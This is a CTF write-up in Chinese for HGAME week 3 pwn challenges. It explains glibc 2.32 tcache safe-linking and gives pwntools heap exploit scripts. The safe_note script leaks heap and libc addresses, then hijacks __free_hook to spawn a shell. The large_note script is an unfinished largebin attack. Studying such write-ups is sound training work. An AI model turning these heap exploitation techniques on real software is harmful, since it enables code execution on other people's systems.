write up—week3[N0rton]

- pwn
  - safe_note
    - 主要考察的就是libc-2.32中在tcache加入的异或保护，即

```
P := 0x0000BA9876543210
L := 0x0000BA9876543180

      P              =    0x0000BA9876543210
       ⊕                  ⊕
         L >> 12      =    0x0000000BA9876543
                           ------------------
P' := P⊕(L >> 12)          = 0x0000BA93DFD35753
```

    - 上图中p为真指针，p'为加密后的指针，L为p的地址
    - 当第一个chunk进入tcache的时候fd=NULL，打印出的地址就是L>>12故可以泄露heap_base
    -

```python
from pwn import*
p = process("./vuln")
#p = remote("week-3.hgame.lwsec.cn",30731)
libc = ELF("./2.32-0ubuntu3.2_amd64/libc-2.32.so")
elf = ELF("./vuln")
context.log_level = 'debug'

def add(page,size):
        p.recvuntil('>')
        p.sendline('1')
        p.recvuntil(':')
        p.sendline(str(page))
        p.recvuntil(':')
        p.sendline(str(size))

def dele(page):
        p.recvuntil('>')
        p.sendline('2')
        p.recvuntil(':')
        p.sendline(str(page))

def edit(page,content):
        p.recvuntil('>')
        p.sendline('3')
        p.recvuntil(':')
        p.sendline(str(page))
        p.recvuntil(':')
        p.send(content)

def heap(page):
        p.recvuntil('>')
        p.sendline('4')
        p.recvuntil(':')
        p.sendline(str(page))
        Content = u64(p.recvline()[-7:-1].ljust(8,b'\x00'))<<12
        Content = Content//16//16-0x200
        return Content

add(0,0x70)
dele(0)
heap_base = (heap(0)>>12)
```

```
42
43
44 for i in range(1,10):
45         add(i,0x90)
46 for j in range(1,9):
47         dele(j)
48 edit(8,b'\x0a')
49 p.recvuntil('>')
50 p.sendline('4')
51 p.recvuntil(':')
52 p.sendline(str(8))
53 p.recvline()
54 main_arena = u64(p.recvline()[-7:-1].ljust(8,b'\x00'))<<8
55
56 success('----------main_arena------------'+hex(main_arena))
57 success('----------heap_base------------'+hex(heap_base))
58
59 libc_base = main_arena-0x1E3BA0-96
60 success('----------libc_base--------------'+hex(libc_base))
61 sys = libc_base + libc.sym["system"]
62 free_hook = libc_base+libc.sym["__free_hook"]
63 success('----------sys--------------'+hex(sys))
64 success('----------free_hook--------------'+hex(free_hook))
65 free_hook = free_hook^heap_base
66 edit(7,p64(free_hook))
67
68 #gdb.attach(p)
69
70 add(10,0x90)
71 add(11,0x90)
72 edit(11,p64(sys))
73
74 add(12,0x70)
75 edit(12,'/bin/sh\x00')
76 dele(12)
77
78
79
80
81
82 p.interactive()
```

- large_note(悲，没做出来
  - 先放个脚本

```
1 from pwn import*
2 p = process("./vuln")
3 libc = ELF("./2.32-0ubuntu3.2_amd64/libc-2.32.so")
4 elf = ELF("./vuln")
5 context.log_level = 'debug'
6
7 def add(page,size):   #size belongs to [0x500,0x900]
8         p.recvuntil('>')
9         p.sendline('1')
10        p.recvuntil(':')
11        p.sendline(str(page))
12        p.recvuntil(':')
13        p.sendline(str(size))
14
15 def dele(page):
16        p.recvuntil('>')
17        p.sendline('2')
18        p.recvuntil(':')
19        p.sendline(str(page))
20
21 def edit(page,content):
22        p.recvuntil('>')
23        p.sendline('3')
24        p.recvuntil(':')
25        p.sendline(str(page))
26        p.recvuntil(':')
27        p.send(content)
28
29 def _libc(page):
30        p.recvuntil('>')
31        p.sendline('4')
32        p.recvuntil(':')
33        p.sendline(str(page))
34        p.recvline()
35        main_arena_0 = u64(p.recvline()[-7:-1].ljust(8,b'\x00')) <<8
36        success('----------main_arena_0----------'+hex(main_arena_0))
37        return main_arena_0
38
39 def show2(page):                #heap
40        p.recvuntil('>')
41        p.sendline('4')
42        p.recvuntil(':')
43        p.sendline(str(page))
44        content1 = u64(p.recvline()[-7:-1].ljust(8,b'\x00'))*0x10
45        print('-----------content1---------',hex(content1))
46        content2 = (content1-0x2200)>>12
47        success('----------content2---------'+hex(content2))
48        return content2
49
```

```python
def show1(page):                    #heap_base
        p.recvuntil('>')
        p.sendline('4')
        p.recvuntil(':')
        p.sendline(str(page))
        content1 = u64(p.recvline()[-7:-1].ljust(8,b'\x00'))*0x10
        success('-----------content1----------'+hex(content1))
        content2 = (content1-0x2200)>>12
        print('-----------content2----------',hex(content2))
        return content1

add(0,0x690)
add(1,0x690)
add(3,0x680)
dele(0)
edit(0,'\x0a')
main_arena = _libc(0)-96
edit(0,'\x00')
success('-----------main_arena-------------'+hex(main_arena))

libc_base = main_arena-0x1E3BA0

success('-----------libc_base--------------'+hex(libc_base))
sys = libc_base + libc.sym["system"]
free_hook = libc_base+libc.sym["__free_hook"]
success('-----------sys--------------------'+hex(sys))
success('-----------free_hook--------------'+hex(free_hook))

add(2,0x900)
dele(3)
edit(0,p64(0)*3+p64(libc_base+0x1e32d0-0x20))
add(4,0x900)

add(5,0x800)
add(6,0x800)
add(7,0x800)
dele(5)
chunk1 = show1(5)
fd1 = chunk1>>12
print(hex(fd1),'--------------------------------------->',hex(chunk1))

dele(6)
fd2 = show2(6)
chunk2 = (chunk1^fd2)>>12
print('---------------------------------------',hex(chunk2))



edit(6,p64((free_hook-0x8)^(chunk2<<12)))
add(8,0x800)
add(9,0x800)
edit(9,p64(sys))

edit(1,b"/bin/sh\x00")
dele(1)
```

- 成功修改了tcache_bin的上限，通过large_bin的跳表改变了mp_结构体中的tcache_bin数值（虽然bin不能显示但能正常操作）
- 然后就迷惑在了异或加密上面，并且一直不能让tcachebin 0x10对齐

以上内容整理于 幕布文档